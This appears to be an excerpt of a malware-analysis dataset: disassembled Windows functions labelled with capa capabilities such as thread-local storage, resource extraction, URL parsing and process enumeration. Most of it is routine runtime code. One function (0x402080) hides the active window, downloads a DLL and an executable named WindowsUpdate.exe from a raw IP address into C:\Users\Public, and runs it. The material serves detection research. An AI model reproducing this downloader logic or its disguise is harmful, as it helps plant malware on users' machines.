joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000d14e
Capabilities:
Allocate thread local storage
Set thread local storage value

Disassembly:
mov edi, edi
push ebx
push esi
push edi
push 0x1001937c
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleW]
mov edi, eax
xor ebx, ebx
cmp edi, ebx
je 0x1000d1a0
mov esi, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push str.FlsAlloc
push edi
call esi
push str.FlsGetValue
push edi
mov dword [0x100b778c], eax
call esi
push str.FlsSetValue
push edi
mov dword [0x100b7790], eax
call esi
push str.FlsFree
push edi
mov dword [0x100b7794], eax
call esi
mov dword [0x100b7798], eax
mov esi, dword [sym.imp.KERNEL32.DLL_TlsSetValue]
cmp dword [0x100b778c], ebx
je 0x1000d1c6
cmp dword [0x100b7790], ebx
je 0x1000d1c6
cmp dword [0x100b7794], ebx
je 0x1000d1c6
cmp dword [0x100b7798], ebx
jne 0x1000d1ea
mov eax, dword [sym.imp.KERNEL32.DLL_TlsGetValue]
mov dword [0x100b7790], eax
mov eax, dword [sym.imp.KERNEL32.DLL_TlsFree]
mov dword [0x100b778c], 0x1000cd8a
mov dword [0x100b7794], esi
mov dword [0x100b7798], eax
call dword [sym.imp.KERNEL32.DLL_TlsAlloc]
mov dword [0x100b67a8], eax
cmp eax, 0xffffffff
je 0x1000d25d
push dword [0x100b7790]
push eax
call esi
test eax, eax
je 0x1000d25d
call fcn.1000e743
push dword [0x100b778c]
call fcn.1000cc9b
push dword [0x100b7790]
mov dword [0x100b778c], eax
call fcn.1000cc9b
push dword [0x100b7794]
mov dword [0x100b7790], eax
call fcn.1000cc9b
push dword [0x100b7798]
mov dword [0x100b7794], eax
call fcn.1000cc9b
add esp, 0x10
mov dword [0x100b7798], eax
call fcn.1000d5da
test eax, eax
jne 0x1000d263
call fcn.1000cdfa
xor eax, eax
pop edi
pop esi
pop ebx
ret
push fcn.1000cf95
push dword [0x100b778c]
call fcn.1000cd17
pop ecx
call eax
mov dword [0x100b67ac], eax
cmp eax, 0xffffffff
je 0x1000d258
push 0x214
push 1
call fcn.10012090
mov esi, eax
pop ecx
pop ecx
cmp esi, ebx
je 0x1000d258
push esi
push dword [0x100b67ac]
push dword [0x100b7794]
call fcn.1000cd17
pop ecx
call eax
test eax, eax
jne 0x1000d2b6
push esi
call fcn.100097ba
pop ecx
jmp 0x1000d258
push ebx
push esi
call fcn.1000ce37
or dword [esi + 4], 0xffffffff
pop ecx
xor eax, eax
pop ecx
inc eax
jmp 0x1000d25f
Function at 0x1000e785
Capabilities:
Write file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
xor ebx, ebx
xor esi, esi
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 4], esi
cmp edi, dword [esi*8 + 0x100b68e0]
je 0x1000e7ab
inc esi
mov dword [ebp - 4], esi
cmp esi, 0x17
jb 0x1000e799
cmp esi, 0x17
jae 0x1000e905
push 3
call fcn.1001271f
pop ecx
cmp eax, 1
je 0x1000e8cf
push 3
call fcn.1001271f
pop ecx
test eax, eax
jne 0x1000e7de
cmp dword [0x100b7424], 1
je 0x1000e8cf
cmp edi, 0xfc
je 0x1000e905
push str.Runtime_Error__n_nProgram:
mov edi, 0x314
push edi
mov esi, 0x100b7940
push esi
call fcn.1000a38e
add esp, 0xc
test eax, eax
je 0x1000e814
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.1000c179
add esp, 0x14
mov byte [0x100b7a5d], bl
push 0x104
mov ebx, 0x100b7959
push ebx
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
test eax, eax
jne 0x1000e857
push str._program_name_unknown_
push 0x2fb
push ebx
call fcn.1000a38e
add esp, 0xc
test eax, eax
je 0x1000e857
xor eax, eax
push eax
push eax
push eax
push eax
push eax
call fcn.1000c179
add esp, 0x14
push ebx
push edi
push esi
call fcn.1000a3f6
add esp, 0xc
xor ebx, ebx
test eax, eax
je 0x1000e875
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.1000c179
add esp, 0x14
push 0x10019990
push edi
push esi
call fcn.1000a3f6
add esp, 0xc
test eax, eax
je 0x1000e895
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.1000c179
add esp, 0x14
mov eax, dword [ebp - 4]
push dword [eax*8 + 0x100b68e4]
push edi
push esi
call fcn.1000a3f6
add esp, 0xc
test eax, eax
je 0x1000e8ba
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.1000c179
add esp, 0x14
push 0x12010
push str.Microsoft_Visual_C_Runtime_Library
push esi
call fcn.1001257d
add esp, 0xc
jmp 0x1000e905
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.DLL_GetStdHandle]
mov edi, eax
cmp edi, ebx
je 0x1000e905
cmp edi, 0xffffffff
je 0x1000e905
mov edx, dword [esi*8 + 0x100b68e4]
mov ecx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1000e8ee
push ebx
lea eax, [ebp - 8]
push eax
sub ecx, esi
push ecx
push edx
push edi
call dword [sym.imp.KERNEL32.DLL_WriteFile]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1001257d
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.1000cd0e
xor ebx, ebx
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], ebx
cmp dword [0x100b7e58], ebx
jne 0x10012656
push ebx
push ebx
push str.USER32.DLL
call dword [sym.imp.KERNEL32.DLL_LoadLibraryExA]
mov edi, eax
cmp edi, ebx
jne 0x100125c1
xor eax, eax
jmp 0x1001271a
mov esi, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push str.MessageBoxA
push edi
call esi
cmp eax, ebx
je 0x100125ba
push eax
call fcn.1000cc9b
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x100b7e58], eax
call esi
push eax
call fcn.1000cc9b
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x100b7e5c], eax
call esi
push eax
call fcn.1000cc9b
mov dword [0x100b7e60], eax
lea eax, [ebp - 8]
push eax
call fcn.1000e54b
pop ecx
pop ecx
test eax, eax
je 0x10012624
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.1000c179
add esp, 0x14
cmp dword [ebp - 8], 2
jne 0x10012656
push str.GetUserObjectInformationA
push edi
call esi
push eax
call fcn.1000cc9b
pop ecx
mov dword [0x100b7e68], eax
cmp eax, ebx
je 0x10012656
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.1000cc9b
pop ecx
mov dword [0x100b7e64], eax
mov eax, dword [0x100b7e64]
mov esi, dword [ebp - 0x10]
cmp eax, esi
je 0x100126cf
cmp dword [0x100b7e68], esi
je 0x100126cf
push eax
call fcn.1000cd17
pop ecx
call eax
cmp eax, ebx
je 0x1001269c
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
push dword [0x100b7e68]
call fcn.1000cd17
pop ecx
call eax
test eax, eax
je 0x1001269c
test byte [ebp - 0x18], 1
jne 0x100126cf
lea eax, [ebp - 0xc]
push eax
call fcn.1000e587
pop ecx
test eax, eax
je 0x100126b7
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.1000c179
add esp, 0x14
cmp dword [ebp - 0xc], 4
jb 0x100126c6
or dword [ebp + 0x10], 0x200000
jmp 0x10012700
or dword [ebp + 0x10], 0x40000
jmp 0x10012700
mov eax, dword [0x100b7e5c]
cmp eax, esi
je 0x10012700
push eax
call fcn.1000cd17
pop ecx
call eax
mov dword [ebp - 4], eax
cmp eax, ebx
je 0x10012700
mov eax, dword [0x100b7e60]
cmp eax, esi
je 0x10012700
push dword [ebp - 4]
push eax
call fcn.1000cd17
pop ecx
call eax
mov dword [ebp - 4], eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
push dword [0x100b7e58]
call fcn.1000cd17
pop ecx
call eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10012b96
Capabilities:
Get system information on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x5c
mov eax, dword [0x100b6010]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
lea eax, [ebp - 0xc]
push edi
xor esi, esi
push eax
mov dword [ebp - 0xc], esi
call fcn.1000e54b
pop ecx
test eax, eax
je 0x10012bcb
push esi
push esi
push esi
push esi
push esi
call fcn.1000c179
add esp, 0x14
push 4
pop eax
call fcn.10012d60
mov dword [ebp - 0x14], esp
push 0x1c
lea eax, [ebp - 0x38]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.DLL_VirtualQuery]
test eax, eax
je 0x10012ce7
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x5c]
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemInfo]
mov edi, dword [ebp - 0xc]
mov ebx, dword [ebp - 0x58]
dec edi
neg edi
sbb edi, edi
and edi, 0x103
inc edi
cmp dword [ebp - 0xc], 2
mov dword [ebp - 8], esi
jne 0x10012c60
mov dword [ebp - 0x10], esi
mov esi, dword [sym.imp.KERNEL32.DLL_GetModuleHandleW]
push str.kernelbase.dll
call esi
test eax, eax
jne 0x10012c37
push str.kernel32.dll
call esi
test eax, eax
je 0x10012c60
push str.SetThreadStackGuarantee
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
test eax, eax
je 0x10012c60
and dword [ebp - 0x10], 0
lea ecx, [ebp - 0x10]
push ecx
call eax
cmp eax, 1
jne 0x10012c60
mov eax, dword [ebp - 0x10]
test eax, eax
jbe 0x10012c60
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
lea esi, [ebx - 1]
push esi
push dword [ebp - 8]
call fcn.100101f1
add esp, 0xc
test eax, eax
jl 0x10012ce7
not esi
and dword [ebp - 8], esi
je 0x10012c92
lea eax, [ebp - 8]
push eax
push ebx
push dword [ebp - 8]
call fcn.100101f1
add esp, 0xc
test eax, eax
jl 0x10012ce7
lea eax, [ebx + ebx]
cmp dword [ebp - 8], eax
jae 0x10012c9d
mov dword [ebp - 8], eax
lea esi, [ebx - 1]
not esi
and esi, dword [ebp - 0x14]
sub esi, dword [ebp - 8]
cmp dword [ebp - 0xc], 1
jne 0x10012cb1
push 0x11
pop ebx
mov eax, dword [ebp - 0x18]
add ebx, eax
cmp esi, ebx
jb 0x10012ce7
push 4
push 0x1000
push dword [ebp - 8]
push esi
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
test eax, eax
je 0x10012ce7
lea eax, [ebp - 0x1c]
push eax
push edi
push dword [ebp - 8]
push esi
call dword [sym.imp.KERNEL32.DLL_VirtualProtect]
test eax, eax
je 0x10012ce7
xor eax, eax
inc eax
jmp 0x10012ce9
xor eax, eax
lea esp, [ebp - 0x68]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10009563
leave
ret
Function at 0x401cf0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x401d0c
mov dword [ebp - 4], 1
jmp 0x401d13
mov dword [ebp - 4], 0
mov al, byte [ebp - 4]
mov esp, ebp
pop ebp
ret

Function at 0x401d20
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x230
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x401d40
xor al, al
jmp 0x401da5
mov dword [ebp - 0x230], 0x22c
lea eax, [ebp - 0x230]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x401d99
mov edx, dword [ebp + 8]
push edx
lea eax, [ebp - 0x20c]
push eax
call fcn.00523fda
add esp, 8
test eax, eax
jne 0x401d84
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
jmp 0x401da5
lea edx, [ebp - 0x230]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x401d5f
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
mov esp, ebp
pop ebp
ret

Function at 0x402080
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov dword [ebp - 4], eax
push 0
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push str.C:UsersPublicEACore.dll
push str.http:__123.253.32.71_EACore.dll
call fcn.00401db0
add esp, 8
push 0x580018
push str.http:__123.253.32.71_WindowsUpdate.exe
call fcn.00401db0
add esp, 8
mov dword [ebp - 8], str.WindowsUpdate.exe
mov ecx, dword [ebp - 8]
push ecx
call fcn.00401d20
add esp, 4
movzx edx, al
test edx, edx
je 0x4020dd
xor eax, eax
jmp 0x4020ec
push str.C:UsersPublicWindowsUpdate.exe
call fcn.0052424f
add esp, 4
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x4023fb
Capabilities:
Create http request

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
push esi
mov esi, ecx
and dword [esi + 0x10], 0
and dword [esi + 0xc], 0
mov dword [esi + 4], eax
mov eax, dword [ebp + 8]
mov dword [esi], vtable.CInternetSession.0
test eax, eax
jne 0x402424
call fcn.004075d5
mov eax, dword [eax + 0x10]
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
call dword [sym.imp.WININET.dll_InternetOpenW]
mov dword [esi + 8], eax
test eax, eax
je 0x402451
push esi
push eax
mov ecx, 0x5a01ac
call fcn.00403a36
mov eax, esi
pop esi
pop ebp
ret 0x18
push 0
push dword [esi + 4]
call fcn.00402aa0
int3
Function at 0x403d0f
Capabilities:
Parse url

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x106c
call fcn.0051ea70
mov eax, dword [0x59bf74]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
mov ecx, dword [ebp + 0x14]
push ebx
push esi
mov esi, dword [ebp + 0x10]
push edi
mov edi, dword [ebp + 0xc]
mov dword [ebp - 0x105c], eax
mov dword [ebp - 0x106c], ecx
test edi, edi
je 0x403e29
test eax, eax
je 0x403e29
mov ecx, dword [ebp + 0x18]
xor ebx, ebx
and ecx, 0x2e000000
mov dword [ebp - 0x1054], 0x824
test dword [ebp + 0x18], 0x90000000
mov dword [ebp - 0x1058], ebx
mov dword [ebp - 0x1068], ecx
mov dword [ebp - 0x1060], ebx
mov dword [ebp - 0x1064], ebx
je 0x403dab
cmp dword [edi + 0x30], ebx
je 0x403dab
test dword [ebp + 0x18], 0x2000000
je 0x403da1
mov dword [ebp - 0x1064], 1
jmp 0x403dab
mov dword [ebp - 0x1060], SysReAllocStringLen
push ecx
lea ecx, [ebp - 0x1054]
push ecx
lea ecx, [ebp - 0x104c]
push ecx
push eax
call dword [sym.imp.WININET.dll_InternetCanonicalizeUrlW]
test eax, eax
jne 0x403e3e
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x403e29
mov eax, dword [ebp - 0x1054]
xor ecx, ecx
push 2
pop edx
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.0040212c
mov dword [ebp - 0x1050], eax
pop ecx
test eax, eax
je 0x403e29
push dword [ebp - 0x1068]
lea ecx, [ebp - 0x1054]
mov dword [ebp - 0x1058], 1
push ecx
push eax
push dword [ebp - 0x105c]
call dword [sym.imp.WININET.dll_InternetCanonicalizeUrlW]
test eax, eax
jne 0x403e4c
push dword [ebp - 0x1050]
call fcn.00402127
pop ecx
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0051e947
mov esp, ebp
pop ebp
ret 0x14
lea eax, [ebp - 0x104c]
mov dword [ebp - 0x1050], eax
jmp 0x403e52
mov eax, dword [ebp - 0x1050]
push edi
push dword [ebp - 0x1060]
push ebx
push eax
call dword [sym.imp.WININET.dll_InternetCrackUrlW]
mov dword [ebp - 0x105c], eax
cmp dword [ebp - 0x1064], ebx
je 0x403eab
cmp dword [edi + 0x2c], ebx
je 0x403e84
push dword [edi + 0x2c]
call fcn.005245cb
pop ecx
cmp eax, 0x824
jae 0x403ed2
push 0x2100000
push ebx
push ebx
push dword [edi + 0x2c]
call dword [sym.imp.SHLWAPI.dll_UrlUnescapeW]
test eax, eax
js 0x403ed2
cmp dword [edi + 0x2c], ebx
je 0x403ea8
push dword [edi + 0x2c]
call fcn.005245cb
pop ecx
mov ebx, eax
mov dword [edi + 0x30], ebx
cmp dword [ebp - 0x1058], 0
je 0x403ec0
push dword [ebp - 0x1050]
call fcn.00402127
pop ecx
mov ecx, dword [ebp - 0x105c]
test ecx, ecx
jne 0x403ee3
mov dword [esi], 0x1000
jmp 0x403f4b
cmp dword [ebp - 0x1058], ebx
je 0x403e29
jmp 0x403e1d
mov edx, dword [ebp - 0x106c]
mov ax, word [edi + 0x18]
mov word [edx], ax
mov eax, dword [edi + 0xc]
sub eax, 1
je 0x403f45
sub eax, 1
je 0x403f3e
sub eax, 1
je 0x403f36
sub eax, 1
je 0x403f2e
sub eax, 1
je 0x403f26
sub eax, 1
je 0x403f1e
sub eax, 1
jne 0x403eca
mov dword [esi], 0x1002
jmp 0x403f4b
mov dword [esi], 0x1006
jmp 0x403f4b
mov dword [esi], 0x1001
jmp 0x403f4b
mov dword [esi], 0x100b
jmp 0x403f4b
mov dword [esi], 3
jmp 0x403f4b
push 2
pop eax
mov dword [esi], eax
jmp 0x403f4b
mov dword [esi], 1
mov eax, ecx
jmp 0x403e2b
Function at 0x404b01
Capabilities:
Get disk information

Disassembly:
push 0x268
mov eax, 0x53fb39
call fcn.0051e9c3
mov esi, dword [ebp + 8]
xor eax, eax
mov ebx, dword [ebp + 0xc]
test esi, esi
mov edi, dword [ebp + 0x10]
setne al
mov dword [ebp - 0x264], esi
test eax, eax
jne 0x404b2f
call fcn.004052aa
xor eax, eax
test ebx, ebx
setne al
test eax, eax
je 0x404b2a
lea eax, [ebp - 0x268]
push eax
push esi
push 0x104
push ebx
call dword [sym.imp.KERNEL32.dll_GetFullPathNameW]
test eax, eax
jne 0x404b77
push 0xffffffffffffffff
push ebx
push 0x104
push esi
call fcn.005245c0
push eax
call fcn.0040297c
add esp, 0x14
push ebx
push edi
call fcn.00404ad4
xor eax, eax
jmp 0x404c9a
cmp eax, 0x104
jb 0x404b94
test edi, edi
je 0x404b70
push ebx
lea ecx, [edi + 0x10]
mov dword [edi + 8], 3
call fcn.00403b5f
jmp 0x404b70
call fcn.004061c2
push eax
lea ecx, [ebp - 0x26c]
call fcn.0040214a
and dword [ebp - 4], 0
lea eax, [ebp - 0x26c]
push eax
push esi
call fcn.00404350
mov esi, dword [ebp - 0x26c]
push esi
call dword [sym.imp.SHLWAPI.dll_PathIsUNCW]
test eax, eax
jne 0x404c8f
xor ecx, ecx
lea eax, [ebp - 0x270]
push ecx
push ecx
push eax
lea eax, [ebp - 0x274]
push eax
push ecx
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
test eax, eax
jne 0x404bff
push ebx
push edi
call fcn.00404ad4
lea ecx, [esi - 0x10]
call fcn.00403953
jmp 0x404b70
mov eax, dword [ebp - 0x270]
test al, 2
jne 0x404c1b
push dword [ebp - 0x264]
call dword [sym.imp.USER32.dll_CharUpperW]
mov eax, dword [ebp - 0x270]
test al, 4
jne 0x404c8f
lea eax, [ebp - 0x260]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
cmp eax, 0xffffffff
je 0x404c8f
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [ebp - 0x268]
test eax, eax
je 0x404beb
cmp eax, dword [ebp - 0x264]
jbe 0x404beb
lea eax, [ebp - 0x234]
push eax
call fcn.005245cb
mov edx, dword [ebp - 0x268]
sub edx, dword [ebp - 0x264]
sar edx, 1
pop ecx
add eax, edx
mov ecx, 0x104
cmp eax, ecx
jge 0x404ca2
lea eax, [ebp - 0x234]
sub ecx, edx
push eax
push ecx
push dword [ebp - 0x268]
call fcn.00525e35
push eax
call fcn.0040297c
add esp, 0x10
lea ecx, [esi - 0x10]
call fcn.00403953
xor eax, eax
inc eax
call fcn.0051e96d
ret 0xc
test edi, edi
je 0x404bf2
push ebx
lea ecx, [edi + 0x10]
mov dword [edi + 8], 3
call fcn.00403b5f
jmp 0x404bf2
Function at 0x40c9a6
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
mov ecx, dword [esi + 4]
call fcn.0040ce3a
push 0xfffffffffffffff0
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_GetWindowLongW]
push dword [ebp + 0xc]
and eax, 3
mov ecx, esi
cmp al, 3
je 0x40c9e2
call fcn.0040cbc5
mov dword [esi + 0xc], 1
jmp 0x40c9e7
call fcn.0040cbc5
cmp dword [esi], 0
je 0x40ca30
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
mov esi, dword [ebp + 0x10]
test eax, eax
jle 0x40ca0a
lea ecx, [eax + 1]
push ecx
push eax
mov ecx, esi
call fcn.00402f02
jmp 0x40ca1b
push 0xff
mov ecx, esi
call fcn.0040354b
push 0x100
push eax
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_GetWindowTextW]
push 0xffffffffffffffff
mov ecx, esi
call fcn.0040396b
jmp 0x40ca54
mov esi, dword [ebp + 0x10]
push dword [esi]
push 0xffffffffffffffff
push 0x14d
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_SendMessageW]
cmp eax, 0xffffffff
jne 0x40ca54
push dword [esi]
push dword [ebp - 4]
call fcn.0040c3dc
pop esi
mov esp, ebp
pop ebp
ret 0xc

Function at 0x40cb1a
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
mov ecx, esi
push edi
push dword [ebp + 0xc]
call fcn.0040cbc5
cmp dword [esi], 0
mov edi, eax
mov dword [esi + 0xc], 1
je 0x40cb62
push edi
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [ebp + 0x10]
push eax
call fcn.00402f02
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextW]
mov ecx, dword [ebp + 0x10]
push 0xffffffffffffffff
call fcn.0040396b
jmp 0x40cb6d
mov eax, dword [ebp + 0x10]
push dword [eax]
push edi
call fcn.0040c3dc
pop edi
pop esi
pop ebp
ret 0xc

Function at 0x40ceab
Capabilities:
Get graphical window text

Disassembly:
push 4
mov eax, 0x5426f3
call fcn.0051e98f
mov edi, ecx
xor esi, esi
cmp dword [edi + 0x74], esi
jne 0x40ced1
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [edi + 0x20]
call dword [sym.imp.USER32.dll_GetWindowTextW]
jmp 0x40cf25
call fcn.004061c2
push eax
lea ecx, [ebp - 0x10]
call fcn.0040214a
mov ecx, dword [edi + 0x74]
lea edx, [ebp - 0x10]
push edx
mov dword [ebp - 4], esi
mov eax, dword [ecx]
call dword [eax + 0x8c]
mov edi, dword [ebp + 8]
push 0xffffffffffffffff
push dword [ebp - 0x10]
push dword [ebp + 0xc]
push edi
call fcn.005245c0
push eax
call fcn.0040297c
add esp, 0x14
test edi, edi
je 0x40cf18
push edi
call fcn.005245cb
pop ecx
mov esi, eax
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
call fcn.00403953
mov eax, esi
call fcn.0051e958
ret 8
Function at 0x40f639
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor edi, edi
mov dword [ebp - 4], ecx
mov esi, edi
cmp dword [ebp + 8], esi
je 0x40f67e
call fcn.004075d5
push 0xf0
push dword [ebp + 8]
mov ebx, dword [eax + 0xc]
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
je 0x40f67e
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov esi, eax
test esi, esi
je 0x40f69a
push esi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
mov ecx, dword [ebp - 4]
push edi
call fcn.00415fc0
mov ebx, eax
test edi, edi
je 0x40f698
test esi, esi
je 0x40f698
push esi
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x40ffc2
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
mov esi, ecx
push edi
test esi, esi
je 0x410080
cmp dword [esi + 0x20], 0
je 0x410080
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x410080
cmp dword [ebp + 8], 0
je 0x410080
xor eax, eax
mov ebx, eax
mov dword [ebp - 4], eax
mov dword [ebp - 8], ebx
mov edi, eax
call fcn.004075d5
push 0x552240
push dword [ebp + 8]
mov eax, dword [eax + 0xc]
push eax
mov dword [ebp - 0xc], eax
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov dword [ebp + 8], eax
test eax, eax
je 0x410051
mov edi, dword [ebp - 0xc]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push dword [ebp + 8]
mov dword [ebp - 4], eax
push edi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x410080
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
mov dword [ebp - 8], eax
push dword [ebp - 4]
push ebx
push esi
call fcn.00416ba8
add esp, 0xc
mov ebx, eax
cmp dword [ebp - 8], 0
je 0x410071
test edi, edi
je 0x410071
push edi
call dword [sym.imp.KERNEL32.dll_FreeResource]
test ebx, ebx
je 0x41007c
mov ecx, esi
call fcn.0040fd8c
mov eax, ebx
jmp 0x410082
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x417210
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov ebx, ecx
push edi
mov edi, dword [ebp + 8]
mov dword [ebx + 0x84], edi
test edi, 0xffff0000
jne 0x41723b
cmp dword [ebx + 0x80], 0
jne 0x41723b
movzx eax, di
mov dword [ebx + 0x80], eax
call fcn.004075d5
push 5
push edi
mov esi, dword [eax + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push dword [ebp + 0xc]
mov edi, eax
mov ecx, ebx
push edi
call fcn.004174a8
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
pop ebp
ret 8
Function at 0x417275
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
xor esi, esi
call fcn.004075d5
push 5
push dword [ebp + 8]
mov ebx, dword [eax + 0xc]
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceW]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x4172ac
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
mov ecx, dword [ebp - 4]
push ebx
push dword [ebp + 0xc]
push esi
call fcn.004172cd
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8